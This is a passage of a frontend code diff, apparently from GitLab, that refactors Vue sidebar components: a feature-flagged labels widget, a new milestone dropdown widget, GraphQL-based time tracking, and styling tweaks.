--- a/app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue
+++ b/app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue
@@ -10,6 +10,8 @@ import updateMergeRequestLabelsMutation from '~/sidebar/queries/update_merge_req
import { toLabelGid } from '~/sidebar/utils';
import { DropdownVariant } from '~/vue_shared/components/sidebar/labels_select_vue/constants';
import LabelsSelect from '~/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue';
+import LabelsSelectWidget from '~/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
const mutationMap = {
[IssuableType.Issue]: {
@@ -25,8 +27,10 @@ const mutationMap = {
export default {
components: {
LabelsSelect,
+ LabelsSelectWidget,
},
variant: DropdownVariant.Sidebar,
+ mixins: [glFeatureFlagMixin()],
inject: [
'allowLabelCreate',
'allowLabelEdit',
@@ -135,7 +139,32 @@ export default {
</script>
<template>
+ <labels-select-widget
+ v-if="glFeatures.labelsWidget"
+ class="block labels js-labels-block"
+ :allow-label-remove="allowLabelEdit"
+ :allow-label-create="allowLabelCreate"
+ :allow-label-edit="allowLabelEdit"
+ :allow-multiselect="true"
+ :allow-scoped-labels="allowScopedLabels"
+ :footer-create-label-title="__('Create project label')"
+ :footer-manage-label-title="__('Manage project labels')"
+ :labels-create-title="__('Create project label')"
+ :labels-fetch-path="labelsFetchPath"
+ :labels-filter-base-path="projectIssuesPath"
+ :labels-manage-path="labelsManagePath"
+ :labels-select-in-progress="isLabelsSelectInProgress"
+ :selected-labels="selectedLabels"
+ :variant="$options.sidebar"
+ data-qa-selector="labels_block"
+ @onDropdownClose="handleDropdownClose"
+ @onLabelRemove="handleLabelRemove"
+ @updateSelectedLabels="handleUpdateSelectedLabels"
+ >
+ {{ __('None') }}
+ </labels-select-widget>
<labels-select
+ v-else
class="block labels js-labels-block"
:allow-label-remove="allowLabelEdit"
:allow-label-create="allowLabelCreate"
diff --git a/app/assets/javascripts/sidebar/components/lock/issuable_lock_form.vue b/app/assets/javascripts/sidebar/components/lock/issuable_lock_form.vue
index 3468acb38e7..81ee0a73739 100644
--- a/app/assets/javascripts/sidebar/components/lock/issuable_lock_form.vue
+++ b/app/assets/javascripts/sidebar/components/lock/issuable_lock_form.vue
@@ -86,7 +86,7 @@ export default {
<gl-icon :name="lockStatus.icon" class="sidebar-item-icon is-active" />
</div>
- <div class="title hide-collapsed">
+ <div class="hide-collapsed gl-line-height-20 gl-mb-2 gl-text-gray-900">
{{ sprintf(__('Lock %{issuableDisplayName}'), { issuableDisplayName: issuableDisplayName }) }}
<a
v-if="isEditable"
diff --git a/app/assets/javascripts/sidebar/components/participants/sidebar_participants.vue b/app/assets/javascripts/sidebar/components/participants/sidebar_participants.vue
deleted file mode 100644
index 4ac515e552a..00000000000
--- a/app/assets/javascripts/sidebar/components/participants/sidebar_participants.vue
+++ /dev/null
@@ -1,31 +0,0 @@
-<script>
-import Store from '../../stores/sidebar_store';
-import participants from './participants.vue';
-
-export default {
- components: {
- participants,
- },
- props: {
- mediator: {
- type: Object,
- required: true,
- },
- },
- data() {
- return {
- store: new Store(),
- };
- },
-};
-</script>
-
-<template>
- <div class="block participants">
- <participants
- :loading="store.isFetching.participants"
- :participants="store.participants"
- :number-of-less-participants="7"
- />
- </div>
-</template>
diff --git a/app/assets/javascripts/sidebar/components/participants/sidebar_participants_widget.vue b/app/assets/javascripts/sidebar/components/participants/sidebar_participants_widget.vue
index d3043e6f6aa..9927a0f9114 100644
--- a/app/assets/javascripts/sidebar/components/participants/sidebar_participants_widget.vue
+++ b/app/assets/javascripts/sidebar/components/participants/sidebar_participants_widget.vue
@@ -64,5 +64,6 @@ export default {
:loading="isLoading"
:participants="participants"
:number-of-less-participants="7"
+ class="block participants"
/>
</template>
diff --git a/app/assets/javascripts/sidebar/components/reviewers/reviewer_title.vue b/app/assets/javascripts/sidebar/components/reviewers/reviewer_title.vue
index a461d992222..88c0b18ccc7 100644
--- a/app/assets/javascripts/sidebar/components/reviewers/reviewer_title.vue
+++ b/app/assets/javascripts/sidebar/components/reviewers/reviewer_title.vue
@@ -33,7 +33,7 @@ export default {
};
</script>
<template>
- <div class="title hide-collapsed">
+ <div class="hide-collapsed gl-line-height-20 gl-mb-2 gl-text-gray-900">
{{ reviewerTitle }}
<gl-loading-icon v-if="loading" inline class="align-bottom" />
<a
diff --git a/app/assets/javascripts/sidebar/components/reviewers/reviewers.vue b/app/assets/javascripts/sidebar/components/reviewers/reviewers.vue
index 2c52d7142f7..5729b958b5d 100644
--- a/app/assets/javascripts/sidebar/components/reviewers/reviewers.vue
+++ b/app/assets/javascripts/sidebar/components/reviewers/reviewers.vue
@@ -59,7 +59,7 @@ export default {
<div class="value hide-collapsed">
<template v-if="hasNoUsers">
- <span class="assign-yourself no-value">
+ <span class="no-value">
{{ __('None') }}
</span>
</template>
diff --git a/app/assets/javascripts/sidebar/components/reviewers/sidebar_reviewers.vue b/app/assets/javascripts/sidebar/components/reviewers/sidebar_reviewers.vue
index b5cf5df4957..c0bd54c60da 100644
--- a/app/assets/javascripts/sidebar/components/reviewers/sidebar_reviewers.vue
+++ b/app/assets/javascripts/sidebar/components/reviewers/sidebar_reviewers.vue
@@ -103,7 +103,6 @@ export default {
:users="store.reviewers"
:editable="store.editable"
:issuable-type="issuableType"
- class="value"
@request-review="requestReview"
/>
</div>
diff --git a/app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue b/app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue
index 6a6300dcde0..592cfea5e32 100644
--- a/app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue
+++ b/app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue
@@ -148,7 +148,9 @@ export default {
</div>
<div class="hide-collapsed">
- <p class="title gl-display-flex gl-justify-content-space-between">
+ <p
+ class="gl-line-height-20 gl-mb-0 gl-text-gray-900 gl-display-flex gl-justify-content-space-between"
+ >
{{ $options.i18n.SEVERITY }}
<gl-link
data-testid="editButton"
diff --git a/app/assets/javascripts/sidebar/components/sidebar_dropdown_widget.vue b/app/assets/javascripts/sidebar/components/sidebar_dropdown_widget.vue
new file mode 100644
index 00000000000..c80ccc928b3
--- /dev/null
+++ b/app/assets/javascripts/sidebar/components/sidebar_dropdown_widget.vue
@@ -0,0 +1,360 @@
+<script>
+import {
+ GlLink,
+ GlDropdown,
+ GlDropdownItem,
+ GlDropdownText,
+ GlSearchBoxByType,
+ GlDropdownDivider,
+ GlLoadingIcon,
+ GlIcon,
+ GlTooltipDirective,
+} from '@gitlab/ui';
+import createFlash from '~/flash';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+import { IssuableType } from '~/issue_show/constants';
+import { __, s__, sprintf } from '~/locale';
+import SidebarEditableItem from '~/sidebar/components/sidebar_editable_item.vue';
+import {
+ IssuableAttributeState,
+ IssuableAttributeType,
+ issuableAttributesQueries,
+ noAttributeId,
+} from '../constants';
+
+export default {
+ noAttributeId,
+ IssuableAttributeState,
+ issuableAttributesQueries,
+ i18n: {
+ [IssuableAttributeType.Milestone]: __('Milestone'),
+ none: __('None'),
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ components: {
+ SidebarEditableItem,
+ GlLink,
+ GlDropdown,
+ GlDropdownItem,
+ GlDropdownText,
+ GlDropdownDivider,
+ GlSearchBoxByType,
+ GlIcon,
+ GlLoadingIcon,
+ },
+ inject: {
+ isClassicSidebar: {
+ default: false,
+ },
+ },
+ props: {
+ issuableAttribute: {
+ type: String,
+ required: true,
+ validator(value) {
+ return [IssuableAttributeType.Milestone].includes(value);
+ },
+ },
+ workspacePath: {
+ required: true,
+ type: String,
+ },
+ iid: {
+ required: true,
+ type: String,
+ },
+ attrWorkspacePath: {
+ required: true,
+ type: String,
+ },
+ issuableType: {
+ type: String,
+ required: true,
+ validator(value) {
+ return value === IssuableType.Issue;
+ },
+ },
+ },
+ apollo: {
+ currentAttribute: {
+ query() {
+ const { current } = this.issuableAttributeQuery;
+ const { query } = current[this.issuableType];
+
+ return query;
+ },
+ variables() {
+ return {
+ fullPath: this.workspacePath,
+ iid: this.iid,
+ };
+ },
+ update(data) {
+ return data?.workspace?.issuable.attribute;
+ },
+ error(error) {
+ createFlash({
+ message: this.i18n.currentFetchError,
+ captureError: true,
+ error,
+ });
+ },
+ },
+ attributesList: {
+ query() {
+ const { list } = this.issuableAttributeQuery;
+ const { query } = list[this.issuableType];
+
+ return query;
+ },
+ skip() {
+ return !this.editing;
+ },
+ debounce: 250,
+ variables() {
+ return {
+ fullPath: this.attrWorkspacePath,
+ title: this.searchTerm,
+ state: this.$options.IssuableAttributeState[this.issuableAttribute],
+ };
+ },
+ update(data) {
+ if (data?.workspace) {
+ return data?.workspace?.attributes.nodes;
+ }
+ return [];
+ },
+ error(error) {
+ createFlash({ message: this.i18n.listFetchError, captureError: true, error });
+ },
+ },
+ },
+ data() {
+ return {
+ searchTerm: '',
+ editing: false,
+ updating: false,
+ selectedTitle: null,
+ currentAttribute: null,
+ attributesList: [],
+ tracking: {
+ label: 'right_sidebar',
+ event: 'click_edit_button',
+ property: this.issuableAttribute,
+ },
+ };
+ },
+ computed: {
+ issuableAttributeQuery() {
+ return this.$options.issuableAttributesQueries[this.issuableAttribute];
+ },
+ attributeTitle() {
+ return this.currentAttribute?.title || this.i18n.noAttribute;
+ },
+ attributeUrl() {
+ return this.currentAttribute?.webUrl;
+ },
+ dropdownText() {
+ return this.currentAttribute
+ ? this.currentAttribute?.title
+ : this.$options.i18n[this.issuableAttribute];
+ },
+ loading() {
+ return this.$apollo.queries.currentAttribute.loading;
+ },
+ emptyPropsList() {
+ return this.attributesList.length === 0;
+ },
+ attributeTypeTitle() {
+ return this.$options.i18n[this.issuableAttribute];
+ },
+ i18n() {
+ return {
+ noAttribute: sprintf(s__('DropdownWidget|No %{issuableAttribute}'), {
+ issuableAttribute: this.issuableAttribute,
+ }),
+ assignAttribute: sprintf(s__('DropdownWidget|Assign %{issuableAttribute}'), {
+ issuableAttribute: this.issuableAttribute,
+ }),
+ noAttributesFound: sprintf(s__('DropdownWidget|No %{issuableAttribute} found'), {
+ issuableAttribute: this.issuableAttribute,
+ }),
+ updateError: sprintf(
+ s__(
+ 'DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again.',
+ ),
+ { issuableAttribute: this.issuableAttribute, issuableType: this.issuableType },
+ ),
+ listFetchError: sprintf(
+ s__(
+ 'DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again.',
+ ),
+ { issuableAttribute: this.issuableAttribute, issuableType: this.issuableType },
+ ),
+ currentFetchError: sprintf(
+ s__(
+ 'DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}.',
+ ),
+ { issuableAttribute: this.issuableAttribute, issuableType: this.issuableType },
+ ),
+ };
+ },
+ },
+ methods: {
+ updateAttribute(attributeId) {
+ if (this.currentAttribute === null && attributeId === null) return;
+ if (attributeId === this.currentAttribute?.id) return;
+
+ this.updating = true;
+
+ const selectedAttribute =
+ Boolean(attributeId) && this.attributesList.find((p) => p.id === attributeId);
+ this.selectedTitle = selectedAttribute ? selectedAttribute.title : this.$options.i18n.none;
+
+ const { current } = this.issuableAttributeQuery;
+ const { mutation } = current[this.issuableType];
+
+ this.$apollo
+ .mutate({
+ mutation,
+ variables: {
+ fullPath: this.workspacePath,
+ attributeId:
+ this.issuableAttribute === IssuableAttributeType.Milestone
+ ? getIdFromGraphQLId(attributeId)
+ : attributeId,
+ iid: this.iid,
+ },
+ })
+ .then(({ data }) => {
+ if (data.issuableSetAttribute?.errors?.length) {
+ createFlash({
+ message: data.issuableSetAttribute.errors[0],
+ captureError: true,
+ error: data.issuableSetAttribute.errors[0],
+ });
+ } else {
+ this.$emit('attribute-updated', data);
+ }
+ })
+ .catch((error) => {
+ createFlash({ message: this.i18n.updateError, captureError: true, error });
+ })
+ .finally(() => {
+ this.updating = false;
+ this.searchTerm = '';
+ this.selectedTitle = null;
+ });
+ },
+ isAttributeChecked(attributeId = undefined) {
+ return (
+ attributeId === this.currentAttribute?.id || (!this.currentAttribute?.id && !attributeId)
+ );
+ },
+ showDropdown() {
+ this.$refs.newDropdown.show();
+ },
+ handleOpen() {
+ this.editing = true;
+ this.showDropdown();
+ },
+ handleClose() {
+ this.editing = false;
+ },
+ setFocus() {
+ this.$refs.search.focusInput();
+ },
+ },
+};
+</script>
+
+<template>
+ <sidebar-editable-item
+ ref="editable"
+ :title="attributeTypeTitle"
+ :data-testid="`${issuableAttribute}-edit`"
+ :tracking="tracking"
+ :loading="updating || loading"
+ @open="handleOpen"
+ @close="handleClose"
+ >
+ <template #collapsed>
+ <div v-if="isClassicSidebar" v-gl-tooltip class="sidebar-collapsed-icon">
+ <gl-icon :size="16" :aria-label="attributeTypeTitle" :name="issuableAttribute" />
+ <span class="collapse-truncated-title">{{ attributeTitle }}</span>
+ </div>
+ <div
+ :data-testid="`select-${issuableAttribute}`"
+ :class="isClassicSidebar ? 'hide-collapsed' : 'gl-mt-3'"
+ >
+ <span v-if="updating" class="gl-font-weight-bold">{{ selectedTitle }}</span>
+ <span v-else-if="!currentAttribute" class="gl-text-gray-500">
+ {{ $options.i18n.none }}
+ </span>
+ <slot
+ v-else
+ name="value"
+ :attributeTitle="attributeTitle"
+ :attributeUrl="attributeUrl"
+ :currentAttribute="currentAttribute"
+ >
+ <gl-link class="gl-text-gray-900! gl-font-weight-bold" :href="attributeUrl">
+ {{ attributeTitle }}
+ </gl-link>
+ </slot>
+ </div>
+ </template>
+ <template #default>
+ <gl-dropdown
+ ref="newDropdown"
+ lazy
+ :header-text="i18n.assignAttribute"
+ :text="dropdownText"
+ :loading="loading"
+ class="gl-w-full"
+ @shown="setFocus"
+ >
+ <gl-search-box-by-type ref="search" v-model="searchTerm" />
+ <gl-dropdown-item
+ :data-testid="`no-${issuableAttribute}-item`"
+ :is-check-item="true"
+ :is-checked="isAttributeChecked($options.noAttributeId)"
+ @click="updateAttribute($options.noAttributeId)"
+ >
+ {{ i18n.noAttribute }}
+ </gl-dropdown-item>
+ <gl-dropdown-divider />
+ <gl-loading-icon
+ v-if="$apollo.queries.attributesList.loading"
+ class="gl-py-4"
+ data-testid="loading-icon-dropdown"
+ />
+ <template v-else>
+ <gl-dropdown-text v-if="emptyPropsList">
+ {{ i18n.noAttributesFound }}
+ </gl-dropdown-text>
+ <slot
+ v-else
+ name="list"
+ :attributesList="attributesList"
+ :isAttributeChecked="isAttributeChecked"
+ :updateAttribute="updateAttribute"
+ >
+ <gl-dropdown-item
+ v-for="attrItem in attributesList"
+ :key="attrItem.id"
+ :is-check-item="true"
+ :is-checked="isAttributeChecked(attrItem.id)"
+ :data-testid="`${issuableAttribute}-items`"
+ @click="updateAttribute(attrItem.id)"
+ >
+ {{ attrItem.title }}
+ </gl-dropdown-item>
+ </slot>
+ </template>
+ </gl-dropdown>
+ </template>
+ </sidebar-editable-item>
+</template>
diff --git a/app/assets/javascripts/sidebar/components/sidebar_editable_item.vue b/app/assets/javascripts/sidebar/components/sidebar_editable_item.vue
index 0fb8d762c7c..825d7ff5841 100644
--- a/app/assets/javascripts/sidebar/components/sidebar_editable_item.vue
+++ b/app/assets/javascripts/sidebar/components/sidebar_editable_item.vue
@@ -109,8 +109,13 @@ export default {
<template>
<div>
- <div class="gl-display-flex gl-align-items-center" @click.self="collapse">
- <span class="hide-collapsed" data-testid="title" @click="collapse">{{ title }}</span>
+ <div
+ class="gl-display-flex gl-align-items-center gl-line-height-20 gl-mb-2 gl-text-gray-900"
+ @click.self="collapse"
+ >
+ <span class="hide-collapsed" data-testid="title" @click="collapse">
+ {{ title }}
+ </span>
<slot name="title-extra"></slot>
<gl-loading-icon v-if="loading || initialLoading" inline class="gl-ml-2 hide-collapsed" />
<gl-loading-icon
@@ -135,7 +140,7 @@ export default {
</gl-button>
</div>
<template v-if="!initialLoading">
- <div v-show="!edit" data-testid="collapsed-content">
+ <div v-show="!edit" data-testid="collapsed-content" class="gl-line-height-14">
<slot name="collapsed">{{ __('None') }}</slot>
</div>
<div v-show="edit" data-testid="expanded-content" :class="{ 'gl-mt-3': !isClassicSidebar }">
diff --git a/app/assets/javascripts/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue b/app/assets/javascripts/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue
index ee7502e3457..e97742a1339 100644
--- a/app/assets/javascripts/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue
+++ b/app/assets/javascripts/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue
@@ -24,7 +24,6 @@ export default {
GlToggle,
SidebarEditableItem,
},
- inject: ['canUpdate'],
props: {
iid: {
type: String,
@@ -102,6 +101,12 @@ export default {
parent: this.parentIsGroup ? 'group' : 'project',
});
},
+ isLoggedIn() {
+ return Boolean(gon.current_user_id);
+ },
+ canSubscribe() {
+ return this.emailsDisabled || !this.isLoggedIn;
+ },
},
methods: {
setSubscribed(subscribed) {
@@ -174,7 +179,7 @@ export default {
<gl-toggle
:value="subscribed"
:is-loading="isLoading"
- :disabled="emailsDisabled || !canUpdate"
+ :disabled="canSubscribe"
class="hide-collapsed gl-ml-auto"
data-testid="subscription-toggle"
:label="$options.i18n.notifications"
diff --git a/app/assets/javascripts/sidebar/components/time_tracking/comparison_pane.vue b/app/assets/javascripts/sidebar/components/time_tracking/comparison_pane.vue
index 99302993b9a..3705d725a15 100644
--- a/app/assets/javascripts/sidebar/components/time_tracking/comparison_pane.vue
+++ b/app/assets/javascripts/sidebar/components/time_tracking/comparison_pane.vue
@@ -70,7 +70,7 @@ export default {
</script>
<template>
- <div data-testid="timeTrackingComparisonPane">
+ <div class="gl-mt-2" data-testid="timeTrackingComparisonPane">
<div
v-gl-tooltip
data-testid="compareMeter"
diff --git a/app/assets/javascripts/sidebar/components/time_tracking/report.vue b/app/assets/javascripts/sidebar/components/time_tracking/report.vue
index 67242b3b5b7..f91a78b7f1d 100644
--- a/app/assets/javascripts/sidebar/components/time_tracking/report.vue
+++ b/app/assets/javascripts/sidebar/components/time_tracking/report.vue
@@ -13,13 +13,17 @@ export default {
GlLoadingIcon,
GlTable,
},
- inject: ['issuableId', 'issuableType'],
+ inject: ['issuableType'],
props: {
limitToHours: {
type: Boolean,
default: false,
required: false,
},
+ issuableId: {
+ type: String,
+ required: true,
+ },
},
data() {
return { report: [], isLoading: true };
diff --git a/app/assets/javascripts/sidebar/components/time_tracking/sidebar_time_tracking.vue b/app/assets/javascripts/sidebar/components/time_tracking/sidebar_time_tracking.vue
index c70d99ac178..58167b3934a 100644
--- a/app/assets/javascripts/sidebar/components/time_tracking/sidebar_time_tracking.vue
+++ b/app/assets/javascripts/sidebar/components/time_tracking/sidebar_time_tracking.vue
@@ -5,19 +5,27 @@ import { intersection } from 'lodash';
import '~/smart_interval';
import eventHub from '../../event_hub';
-import Mediator from '../../sidebar_mediator';
-import Store from '../../stores/sidebar_store';
import IssuableTimeTracker from './time_tracker.vue';
export default {
components: {
IssuableTimeTracker,
},
- data() {
- return {
- mediator: new Mediator(),
- store: new Store(),
- };
+ props: {
+ fullPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ issuableIid: {
+ type: String,
+ required: true,
+ },
+ limitToHours: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
mounted() {
this.listenForQuickActions();
@@ -41,7 +49,7 @@ export default {
changedCommands = [];
}
if (changedCommands && intersection(subscribedCommands, changedCommands).length) {
- this.mediator.fetch();
+ eventHub.$emit('timeTracker:refresh');
}
},
},
@@ -51,11 +59,9 @@ export default {
<template>
<div class="block">
<issuable-time-tracker
- :time-estimate="store.timeEstimate"
- :time-spent="store.totalTimeSpent"
- :human-time-estimate="store.humanTimeEstimate"
- :human-time-spent="store.humanTotalTimeSpent"
- :limit-to-hours="store.timeTrackingLimitToHours"
+ :full-path="fullPath"
+ :issuable-iid="issuableIid"
+ :limit-to-hours="limitToHours"
/>
</div>
</template>
diff --git a/app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue b/app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue
index 64f2ddc1d16..3feff8639a1 100644
--- a/app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue
+++ b/app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue
@@ -1,6 +1,9 @@
<script>
-import { GlIcon, GlLink, GlModal, GlModalDirective } from '@gitlab/ui';
+import { GlIcon, GlLink, GlModal, GlModalDirective, GlLoadingIcon } from '@gitlab/ui';
+import { IssuableType } from '~/issue_show/constants';
import { s__, __ } from '~/locale';
+import { timeTrackingQueries } from '~/sidebar/constants';
+
import eventHub from '../../event_hub';
import TimeTrackingCollapsedState from './collapsed_state.vue';
import TimeTrackingComparisonPane from './comparison_pane.vue';
@@ -18,6 +21,7 @@ export default {
GlIcon,
GlLink,
GlModal,
+ GlLoadingIcon,
TimeTrackingCollapsedState,
TimeTrackingSpentOnlyPane,
TimeTrackingComparisonPane,
@@ -27,29 +31,27 @@ export default {
directives: {
GlModal: GlModalDirective,
},
+ inject: ['issuableType'],
props: {
- timeEstimate: {
- type: Number,
- required: true,
- },
- timeSpent: {
- type: Number,
- required: true,
+ limitToHours: {
+ type: Boolean,
+ default: false,
+ required: false,
},
- humanTimeEstimate: {
+ fullPath: {
type: String,
required: false,
default: '',
},
- humanTimeSpent: {
+ issuableIid: {
type: String,
required: false,
default: '',
},
- limitToHours: {
- type: Boolean,
- default: false,
+ initialTimeTracking: {
+ type: Object,
required: false,
+ default: null,
},
/*
In issue list, "time-tracking-collapsed-state" is always rendered even if the sidebar isn't collapsed.
@@ -70,47 +72,103 @@ export default {
data() {
return {
showHelp: false,
+ timeTracking: {
+ ...this.initialTimeTracking,
+ },
};
},
+ apollo: {
+ issuableTimeTracking: {
+ query() {
+ return timeTrackingQueries[this.issuableType].query;
+ },
+ skip() {
+ // We don't fetch info via GraphQL in following cases
+ // 1. Time tracking info was provided via prop
+ // 2. issuableIid and fullPath are not provided.
+ if (!this.initialTimeTracking) {
+ return false;
+ } else if (this.issuableIid && this.fullPath) {
+ return false;
+ }
+ return true;
+ },
+ variables() {
+ return {
+ iid: this.issuableIid,
+ fullPath: this.fullPath,
+ };
+ },
+ update(data) {
+ this.timeTracking = {
+ ...data.workspace?.issuable,
+ };
+ },
+ },
+ },
computed: {
- hasTimeSpent() {
- return Boolean(this.timeSpent);
+ isTimeTrackingInfoLoading() {
+ return this.$apollo?.queries.issuableTimeTracking.loading ?? false;
+ },
+ timeEstimate() {
+ return this.timeTracking?.timeEstimate || 0;
+ },
+ totalTimeSpent() {
+ return this.timeTracking?.totalTimeSpent || 0;
+ },
+ humanTimeEstimate() {
+ return this.timeTracking?.humanTimeEstimate || '';
+ },
+ humanTotalTimeSpent() {
+ return this.timeTracking?.humanTotalTimeSpent || '';
+ },
+ hasTotalTimeSpent() {
+ return Boolean(this.totalTimeSpent);
},
hasTimeEstimate() {
return Boolean(this.timeEstimate);
},
showComparisonState() {
- return this.hasTimeEstimate && this.hasTimeSpent;
+ return this.hasTimeEstimate && this.hasTotalTimeSpent;
},
showEstimateOnlyState() {
- return this.hasTimeEstimate && !this.hasTimeSpent;
+ return this.hasTimeEstimate && !this.hasTotalTimeSpent;
},
showSpentOnlyState() {
- return this.hasTimeSpent && !this.hasTimeEstimate;
+ return this.hasTotalTimeSpent && !this.hasTimeEstimate;
},
showNoTimeTrackingState() {
- return !this.hasTimeEstimate && !this.hasTimeSpent;
+ return !this.hasTimeEstimate && !this.hasTotalTimeSpent;
},
showHelpState() {
return Boolean(this.showHelp);
},
+ isTimeReportSupported() {
+ return (
+ [IssuableType.Issue, IssuableType.MergeRequest].includes(this.issuableType) &&
+ this.issuableIid
+ );
+ },
+ },
+ watch: {
+ /**
+ * When `initialTimeTracking` is provided via prop,
+ * we don't query the same via GraphQl and instead
+ * monitor it for any updates (eg; Epic Swimlanes)
+ */
+ initialTimeTracking(timeTracking) {
+ this.timeTracking = timeTracking;
+ },
},
created() {
- eventHub.$on('timeTracker:updateData', this.update);
+ eventHub.$on('timeTracker:refresh', this.refresh);
},
methods: {
toggleHelpState(show) {
this.showHelp = show;
},
- update(data) {
- const { timeEstimate, timeSpent, humanTimeEstimate, humanTimeSpent } = data;
-
- /* eslint-disable vue/no-mutating-props */
- this.timeEstimate = timeEstimate;
- this.timeSpent = timeSpent;
- this.humanTimeEstimate = humanTimeEstimate;
- this.humanTimeSpent = humanTimeSpent;
- /* eslint-enable vue/no-mutating-props */
+ refresh() {
+ this.$apollo.queries.issuableTimeTracking.refetch();
},
},
};
@@ -125,11 +183,12 @@ export default {
:show-help-state="showHelpState"
:show-spent-only-state="showSpentOnlyState"
:show-estimate-only-state="showEstimateOnlyState"
- :time-spent-human-readable="humanTimeSpent"
+ :time-spent-human-readable="humanTotalTimeSpent"
:time-estimate-human-readable="humanTimeEstimate"
/>
- <div class="title hide-collapsed gl-mb-3">
+ <div class="hide-collapsed gl-line-height-20 gl-text-gray-900">
{{ __('Time tracking') }}
+ <gl-loading-icon v-if="isTimeTrackingInfoLoading" inline />
<div
v-if="!showHelpState"
data-testid="helpButton"
@@ -147,14 +206,14 @@ export default {
<gl-icon name="close" />
</div>
</div>
- <div class="time-tracking-content hide-collapsed">
+ <div v-if="!isTimeTrackingInfoLoading" class="hide-collapsed">
<div v-if="showEstimateOnlyState" data-testid="estimateOnlyPane">
<span class="gl-font-weight-bold">{{ $options.i18n.estimatedOnlyText }} </span
>{{ humanTimeEstimate }}
</div>
<time-tracking-spent-only-pane
v-if="showSpentOnlyState"
- :time-spent-human-readable="humanTimeSpent"
+ :time-spent-human-readable="humanTotalTimeSpent"
/>
<div v-if="showNoTimeTrackingState" data-testid="noTrackingPane">
<span class="gl-text-gray-500">{{ $options.i18n.noTimeTrackingText }}</span>
@@ -162,26 +221,28 @@ export default {
<time-tracking-comparison-pane
v-if="showComparisonState"
:time-estimate="timeEstimate"
- :time-spent="timeSpent"
- :time-spent-human-readable="humanTimeSpent"
+ :time-spent="totalTimeSpent"
+ :time-spent-human-readable="humanTotalTimeSpent"
:time-estimate-human-readable="humanTimeEstimate"
:limit-to-hours="limitToHours"
/>
- <gl-link
- v-if="hasTimeSpent"
- v-gl-modal="'time-tracking-report'"
- data-testid="reportLink"
- href="#"
- class="btn-link"
- >{{ __('Time tracking report') }}</gl-link
- >
- <gl-modal
- modal-id="time-tracking-report"
- :title="__('Time tracking report')"
- :hide-footer="true"
- >
- <time-tracking-report :limit-to-hours="limitToHours" />
- </gl-modal>
+ <template v-if="isTimeReportSupported">
+ <gl-link
+ v-if="hasTotalTimeSpent"
+ v-gl-modal="'time-tracking-report'"
+ data-testid="reportLink"
+ href="#"
+ >
+ {{ __('Time tracking report') }}
+ </gl-link>
+ <gl-modal
+ modal-id="time-tracking-report"
+ :title="__('Time tracking report')"
+ :hide-footer="true"
+ >
+ <time-tracking-report :limit-to-hours="limitToHours" :issuable-iid="issuableIid" />
+ </gl-modal>
+ </template>
<transition name="help-state-toggle">
<time-tracking-help-state v-if="showHelpState" />
</transition>
diff --git a/app/assets/javascripts/sidebar/constants.js b/app/assets/javascripts/sidebar/constants.js
index a4e6d8854d1..e8e69c19d9f 100644
--- a/app/assets/javascripts/sidebar/constants.js
+++ b/app/assets/javascripts/sidebar/constants.js
@@ -9,8 +9,10 @@ import issueConfidentialQuery from '~/sidebar/queries/issue_confidential.query.g
import issueDueDateQuery from '~/sidebar/queries/issue_due_date.query.graphql';
import issueReferenceQuery from '~/sidebar/queries/issue_reference.query.graphql';
import issueSubscribedQuery from '~/sidebar/queries/issue_subscribed.query.graphql';
+import issueTimeTrackingQuery from '~/sidebar/queries/issue_time_tracking.query.graphql';
import mergeRequestReferenceQuery from '~/sidebar/queries/merge_request_reference.query.graphql';
import mergeRequestSubscribed from '~/sidebar/queries/merge_request_subscribed.query.graphql';
+import mergeRequestTimeTrackingQuery from '~/sidebar/queries/merge_request_time_tracking.query.graphql';
import updateEpicConfidentialMutation from '~/sidebar/queries/update_epic_confidential.mutation.graphql';
import updateEpicDueDateMutation from '~/sidebar/queries/update_epic_due_date.mutation.graphql';
import updateEpicStartDateMutation from '~/sidebar/queries/update_epic_start_date.mutation.graphql';
@@ -19,6 +21,8 @@ import updateIssueConfidentialMutation from '~/sidebar/queries/update_issue_conf
import updateIssueDueDateMutation from '~/sidebar/queries/update_issue_due_date.mutation.graphql';
import updateIssueSubscriptionMutation from '~/sidebar/queries/update_issue_subscription.mutation.graphql';
import updateMergeRequestSubscriptionMutation from '~/sidebar/queries/update_merge_request_subscription.mutation.graphql';
+import updateAlertAssigneesMutation from '~/vue_shared/alert_details/graphql/mutations/alert_set_assignees.mutation.graphql';
+import getAlertAssignees from '~/vue_shared/components/sidebar/queries/get_alert_assignees.query.graphql';
import getIssueAssignees from '~/vue_shared/components/sidebar/queries/get_issue_assignees.query.graphql';
import issueParticipantsQuery from '~/vue_shared/components/sidebar/queries/get_issue_participants.query.graphql';
import getIssueTimelogsQuery from '~/vue_shared/components/sidebar/queries/get_issue_timelogs.query.graphql';
@@ -27,6 +31,9 @@ import getMergeRequestParticipants from '~/vue_shared/components/sidebar/queries
import getMrTimelogsQuery from '~/vue_shared/components/sidebar/queries/get_mr_timelogs.query.graphql';
import updateIssueAssigneesMutation from '~/vue_shared/components/sidebar/queries/update_issue_assignees.mutation.graphql';
import updateMergeRequestAssigneesMutation from '~/vue_shared/components/sidebar/queries/update_mr_assignees.mutation.graphql';
+import projectIssueMilestoneMutation from './queries/project_issue_milestone.mutation.graphql';
+import projectIssueMilestoneQuery from './queries/project_issue_milestone.query.graphql';
